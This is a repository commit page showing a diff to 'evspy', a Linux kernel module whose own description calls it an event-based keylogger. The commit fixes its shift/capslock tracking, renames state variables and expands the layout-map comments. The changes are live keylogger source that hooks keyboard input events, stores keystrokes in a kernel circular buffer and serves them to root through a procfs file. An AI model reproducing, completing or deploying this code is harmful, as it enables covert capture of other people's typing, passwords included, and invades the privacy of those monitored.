aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-20 21:52:34 +0200
committerGuillermo Ramos2011-09-20 22:01:30 +0200
commitf680abf1814f61f1a9445fdc84f05d10036c513f (patch)
tree13d1c3ddc46599f666ea9f40b28f5da2013a3fbb
parent161cc97a59078a606c41c2ec2a6371dc04d5aac8 (diff)
downloadevspy-f680abf1814f61f1a9445fdc84f05d10036c513f.tar.gz
Fixed shift/capslock bug
-rw-r--r--TODO2
-rw-r--r--evspy-core.c36
-rw-r--r--evspy-core.h15
-rw-r--r--maps/maps.h13
4 files changed, 36 insertions, 30 deletions
diff --git a/TODO b/TODO
index fb559b2..3346dce 100644
--- a/TODO
+++ b/TODO
@@ -1,5 +1,3 @@
-* Differenciate between capslock and shift (they do not behave the same with
- non-alphanumeric keys) - Prio:Low
* Support non-ascii characters - Prio:Low
* Take a look at kernel's circular buffer API - Prio:Low
diff --git a/evspy-core.c b/evspy-core.c
index 49ec3f8..edcd4e5 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -26,9 +26,9 @@
static char *buffer; // circular buffer
static char *rdp; // read pointer
static char *wrp; // write pointer
-static unsigned short int capslock_state = EVS_VAL_FREE;
-static unsigned short int shift = 0;
-static unsigned short int altgr = 0;
+static unsigned short int capslock_on = 0;
+static unsigned short int shift_on = 0;
+static unsigned short int altgr_on = 0;
/*
* Executed when the procfs file is read (EVS_PROCNAME)
@@ -43,7 +43,7 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
// root only plz
if (current_uid() || current_euid()) {
#if EVS_TROLL == 1
- n = MIN(36, count);
+ n = min(36, count);
strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
*eof = 1;
return n;
@@ -54,7 +54,7 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
// wrp > rdp: read from rdp to wrp
if (diff > 0) {
- n = MIN(diff, count);
+ n = min(diff, count);
strncpy(page, rdp, n);
rdp += n;
retval = n;
@@ -63,14 +63,14 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
// the buffer to wrp
} else if (diff < 0) {
toend = (buffer + EVS_BUFSIZE) - rdp;
- n = MIN(toend, count);
+ n = min(toend, count);
strncpy(page, rdp, n);
retval = n;
if (n < toend) {
rdp += n;
} else {
- n = MIN(wrp - buffer, count - retval);
+ n = min(wrp - buffer, count - retval);
strncpy(page + retval, buffer, n);
retval += n;
rdp = buffer + n;
@@ -110,14 +110,17 @@ static void special_char(unsigned int code, unsigned int value)
switch(code) {
case KEY_RIGHTSHIFT:
case KEY_LEFTSHIFT:
- shift = !shift;
+ shift_on = value;
+ return;
+ case KEY_CAPSLOCK:
+ capslock_on = !capslock_on;
return;
case KEY_LEFTALT:
sp_tag = "[+ALT]";
break;
case KEY_RIGHTALT:
#ifdef EVS_ALTGR_ENABLED
- altgr = !altgr;
+ altgr_on = !altgr_on;
return;
#else
sp_tag = "[+ALTGR]";
@@ -156,7 +159,7 @@ static void special_char(unsigned int code, unsigned int value)
known = 0;
}
- if (!known && evs_isfX(code))
+ if (!known && evs_isfX(code)) // !known is redundant, but it saves cycles
sp_tag = "[+FX]";
else if (!known)
return;
@@ -177,11 +180,6 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
return;
- // If caps lock is pressed, handle it the same way as left shift
- } else if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
- special_char(KEY_LEFTSHIFT, capslock_state);
- return;
-
// Backspace
} else if (code == KEY_BACKSPACE && value == EVS_VAL_PRESS) {
evs_backspace();
@@ -193,11 +191,11 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
(map[code] == '.' && likely(code != KEY_DOT))) {
special_char(code, value);
- // "Direct" keys (alphanumeric + some symbols)
+ // "Immediate" keys (alphanumeric + some symbols)
} else if (value == EVS_VAL_PRESS) {
- if (altgr)
+ if (altgr_on)
evs_insert(evs_altgr(code));
- else if (shift)
+ else if (shift_on || capslock_on)
evs_insert(evs_shift(code));
else
evs_insert(map[code]);
@@ -286,4 +284,4 @@ module_exit(evspy_exit);
MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_DESCRIPTION("Event based keylogger");
MODULE_LICENSE("GPL");
-MODULE_VERSION("0.2");
+MODULE_VERSION("0.3");
diff --git a/evspy-core.h b/evspy-core.h
index 5b7abec..49da4b5 100644
--- a/evspy-core.h
+++ b/evspy-core.h
@@ -49,7 +49,7 @@
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
-#define MIN(x, y) (x) < (y) ? (x) : (y)
+#define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
/*
* If pointer is at the end of buffer, put it at the beginning.
@@ -124,13 +124,16 @@
#define evs_shift(c) \
({ \
void *__vp; \
- char __c = (c); \
- if (map[c] >= 'a' && map[c] <= 'z') { \
+ char __c; \
+ if ((shift_on != capslock_on) && is_ascii(c)) { \
__c = map[c] + ('A'-'a'); \
+ } else if (is_ascii(c) || !shift_on) { \
+ __c = map[c]; \
} else { \
- __vp = khm_get(shm, (c)); \
- if (__vp) __c = *(char *)__vp; \
- else __c = map[c]; \
+ if ((__vp = khm_get(shm, (c)))) \
+ __c = *(char *)__vp; \
+ else \
+ __c = map[c]; \
} \
__c; \
})
diff --git a/maps/maps.h b/maps/maps.h
index 37497bc..c6e3095 100644
--- a/maps/maps.h
+++ b/maps/maps.h
@@ -3,20 +3,27 @@
*
* Each map is an array where the content of each position is the key value
* associated with the event code (index). An special/unknown key is represented
- * as a dot ('.'). The dot key itself is registered with its own macro (KEY_DOT).
+ * as a dot ('.'). The dot key itself is registered with its own macro, KEY_DOT.
*
* Maps are imported from files named map_XX.h, where XX is the layout code.
*
* Each file declares a char array called map, where the content of each
* position is the key value associated with the event code (index). It also
* defines a function called init_shiftmap that can register any number of shift
- * keys to be parsed when shift or capslock has been pressed.
+ * keys to be parsed when shift or capslock has been pressed, and exit_shiftmap,
+ * that cleans up the map (by default, it just destroys the hashmap used by the
+ * previous function).
*
* For example,
* EVS_SHIFT(KEY_7, "/");
* associates the key of number 7 to the slash character when shift is pressed.
* Yeah, the character associated is a string: this is because of the hashmap
- * implementation, that maps an integer to a (void *).
+ * implementation, [int -> (void *)].
+ *
+ * From version 0.3 up, you can also define how evspy should register AltGr-key
+ * combinations, in keyboard layouts that support it, the same way that with
+ * shift. The functions are [init,exit]_altgrmap. To enable this you should
+ * define the macro EVS_ALTGR_ENABLED somewhere in your map layout file.
*
* By the moment, evspy does not support non-ascii characters.
*